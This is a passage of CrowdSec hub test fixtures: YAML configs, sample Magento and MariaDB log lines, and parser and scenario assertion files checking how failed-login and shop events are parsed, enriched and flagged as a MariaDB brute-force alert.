Bouncer/v1.0.0\",\"product_id\":\"151\",\"quote_id\":\"95\"}" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Parsed["message"] == "[2022-01-21 16:12:27] crowdsec-events.INFO: {\"type\":\"ADD_TO_CART_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"product_id\":\"151\",\"quote_id\":\"95\"} []" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Parsed["program"] == "magento-extension" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Meta["log_type"] == "ADD_TO_CART_SUCCESS" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Meta["product_id"] == "151" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Meta["quote_id"] == "95" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Meta["service"] == "magento" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Meta["bouncer_agent"] == "Magento 2 CrowdSec Bouncer/v1.0.0" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Meta["datasource_path"] == "magento-extension-logs.log" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 4 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["line"] == "{\"type\":\"CUSTOMER_REGISTER_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"customer_id\":\"202\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "[2022-01-28 13:13:07] crowdsec-events.INFO: {\"type\":\"CUSTOMER_REGISTER_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"customer_id\":\"202\"} []" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "magento-extension" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2022-01-28 13:13:07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["customer_id"] == "202" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "CUSTOMER_REGISTER_SUCCESS" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "magento" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-01-28T13:13:07Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["bouncer_agent"] == "Magento 2 CrowdSec Bouncer/v1.0.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-01-28T13:13:07Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["line"] == "{\"type\":\"CUSTOMER_LOGIN_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"customer_id\":\"202\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "[2022-01-28 13:13:07] crowdsec-events.INFO: {\"type\":\"CUSTOMER_LOGIN_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"customer_id\":\"202\"} []" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "magento-extension" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "2022-01-28 13:13:07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "magento" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-01-28T13:13:07Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["bouncer_agent"] == "Magento 2 CrowdSec Bouncer/v1.0.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["customer_id"] == "202" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "CUSTOMER_LOGIN_SUCCESS" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-01-28T13:13:07Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["line"] == "{\"type\":\"ADMIN_LOGIN_FAILED\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "[2022-02-11 13:41:28] crowdsec-events.INFO: {\"type\":\"ADMIN_LOGIN_FAILED\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\"} []" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "magento-extension" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "2022-02-11 13:41:28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["bouncer_agent"] == "Magento 2 CrowdSec Bouncer/v1.0.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "ADMIN_LOGIN_FAILED" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "magento" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-02-11T13:41:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-02-11T13:41:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp"] == "2022-01-21 16:12:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["line"] == "{\"type\":\"ADD_TO_CART_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"product_id\":\"151\",\"quote_id\":\"95\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "[2022-01-21 16:12:27] crowdsec-events.INFO: {\"type\":\"ADD_TO_CART_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"product_id\":\"151\",\"quote_id\":\"95\"} []" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "magento-extension" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["quote_id"] == "95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["bouncer_agent"] == "Magento 2 CrowdSec Bouncer/v1.0.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "ADD_TO_CART_SUCCESS" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["product_id"] == "151" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "magento" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-01-21T16:12:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-01-21T16:12:27Z"hub1/.tests/magento-extension-logs/scenario.assert000066400000000000000000000000001437532772500225760ustar00rootroot00000000000000hub1/.tests/mariadb-bf/000077500000000000000000000000001437532772500151405ustar00rootroot00000000000000hub1/.tests/mariadb-bf/config.yaml000066400000000000000000000004071437532772500172720ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/crowdsecurity/mariadb-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/mariadb-bf.yaml postoverflows: - "" log_file: mariadb-bf.log log_type: mariadb ignore_parsers: true hub1/.tests/mariadb-bf/mariadb-bf.log000066400000000000000000000016521437532772500176330ustar00rootroot000000000000002021-11-09 5:13:11 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: YES) 2021-11-09 5:13:11 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: NO) 2021-11-09 5:13:11 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: YES) 2021-11-09 5:13:11 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: NO) 2021-11-09 5:13:11 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: YES) 2021-11-09 5:13:11 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: NO) 2021-11-09 5:13:11 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: NO) 2021-11-09 5:13:11 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: NO) 2021-11-09 5:13:11 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: NO)hub1/.tests/mariadb-bf/parser.assert000066400000000000000000000000001437532772500176450ustar00rootroot00000000000000hub1/.tests/mariadb-bf/scenario.assert000066400000000000000000000053041437532772500201700ustar00rootroot00000000000000len(results) == 1 "172.17.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[0].Overflow.Sources["172.17.0.1"].Range == "" results[0].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "mariadb-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "mariadb_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[0].GetMeta("user") == "example-user" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "mariadb-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "mariadb_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[1].GetMeta("user") == "example-user" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "mariadb-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "mariadb_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[2].GetMeta("user") == "example-user" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "mariadb-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "mariadb_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[3].GetMeta("user") == "example-user" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "mariadb-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "mariadb_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[4].GetMeta("user") == "example-user" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "mariadb-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "mariadb_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[5].GetMeta("user") == "example-user" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/mariadb-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/mariadb-logs/000077500000000000000000000000001437532772500155155ustar00rootroot00000000000000hub1/.tests/mariadb-logs/config.yaml000066400000000000000000000002771437532772500176540ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/mariadb-logs.yaml log_file: mariadb-logs.log log_type: mariadb ignore_parsers: false hub1/.tests/mariadb-logs/mariadb-logs.log000066400000000000000000000007541437532772500205670ustar00rootroot000000000000002021-11-09 5:13:12 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: YES) 2021-11-09 5:13:13 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: NO) 2022-05-01 11:38:05 356 [Warning] Access denied for user 'root'@'127.0.0.1' (using password: NO) 221128 14:49:17 [Warning] Access denied for user 'root'@'192.168.1.192' (using password: YES) 220109 14:49:17 [Warning] Access denied for user 'root'@'192.168.1.192' (using password: NO)hub1/.tests/mariadb-logs/parser.assert000066400000000000000000000467201437532772500202450ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 5 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2021-11-09 5:13:12 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: YES)" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "mariadb" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2021-11-09 5:13:13 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: NO)" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "mariadb" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "mariadb" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2022-05-01 11:38:05 356 [Warning] Access denied for user 'root'@'127.0.0.1' (using password: NO)" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "221128 14:49:17 [Warning] Access denied for user 'root'@'192.168.1.192' (using password: YES)" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "mariadb" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "220109 14:49:17 [Warning] Access denied for user 'root'@'192.168.1.192' (using password: NO)" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "mariadb" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "mariadb-logs.log" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 5 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false len(results["s01-parse"]["crowdsecurity/mariadb-logs"]) == 5 results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Success == true results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["day"] == "09" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["thread_id"] == "8" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["using_password"] == "YES" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["year"] == "2021" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["date"] == "2021-11-09" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["message"] == "2021-11-09 5:13:12 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: YES)" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["month"] == "11" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["program"] == "mariadb" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["time"] == "5:13:12" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Parsed["user"] == "example-user" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Meta["log_type"] == "mariadb_failed_auth" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/mariadb-logs"][0].Evt.Meta["user"] == "example-user" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Success == true results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["year"] == "2021" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["program"] == "mariadb" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["thread_id"] == "8" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["message"] == "2021-11-09 5:13:13 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: NO)" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["month"] == "11" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["time"] == "5:13:13" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["user"] == "example-user" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["using_password"] == "NO" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["date"] == "2021-11-09" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Parsed["day"] == "09" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Meta["log_type"] == "mariadb_failed_auth" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Meta["user"] == "example-user" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s01-parse"]["crowdsecurity/mariadb-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Success == true results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["user"] == "root" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["year"] == "2022" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["message"] == "2022-05-01 11:38:05 356 [Warning] Access denied for user 'root'@'127.0.0.1' (using password: NO)" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["day"] == "01" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["month"] == "05" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["program"] == "mariadb" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["thread_id"] == "356" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["time"] == "11:38:05" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["using_password"] == "NO" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Parsed["date"] == "2022-05-01" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Meta["log_type"] == "mariadb_failed_auth" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Meta["user"] == "root" results["s01-parse"]["crowdsecurity/mariadb-logs"][2].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Success == true results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Parsed["time"] == "14:49:17" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Parsed["year"] == "22" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Parsed["day"] == "28" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Parsed["message"] == "221128 14:49:17 [Warning] Access denied for user 'root'@'192.168.1.192' (using password: YES)" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Parsed["month"] == "11" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Parsed["source_ip"] == "192.168.1.192" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Parsed["program"] == "mariadb" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Parsed["user"] == "root" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Parsed["using_password"] == "YES" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Meta["log_type"] == "mariadb_failed_auth" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Meta["source_ip"] == "192.168.1.192" results["s01-parse"]["crowdsecurity/mariadb-logs"][3].Evt.Meta["user"] == "root" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Success == true results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Parsed["message"] == "220109 14:49:17 [Warning] Access denied for user 'root'@'192.168.1.192' (using password: NO)" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Parsed["month"] == "01" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Parsed["program"] == "mariadb" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Parsed["time"] == "14:49:17" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Parsed["user"] == "root" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Parsed["using_password"] == "NO" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Parsed["year"] == "22" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Parsed["day"] == "09" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Parsed["source_ip"] == "192.168.1.192" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Meta["log_type"] == "mariadb_failed_auth" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Meta["source_ip"] == "192.168.1.192" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Meta["user"] == "root" results["s01-parse"]["crowdsecurity/mariadb-logs"][4].Evt.Meta["datasource_path"] == "mariadb-logs.log" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 5 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["thread_id"] == "8" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "5:13:12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["user"] == "example-user" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["year"] == "2021" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2021-11-09" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["day"] == "09" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2021-11-09 5:13:12 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: YES)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["month"] == "11" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "mariadb" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["using_password"] == "YES" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "mariadb_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2021-11-09T05:13:12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["user"] == "example-user" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2021-11-09T05:13:12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["user"] == "example-user" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["date"] == "2021-11-09" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["day"] == "09" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["month"] == "11" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["thread_id"] == "8" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "5:13:13" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["using_password"] == "NO" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["year"] == "2021" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2021-11-09 5:13:13 8 [Warning] Access denied for user 'example-user'@'172.17.0.1' (using password: NO)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "mariadb" 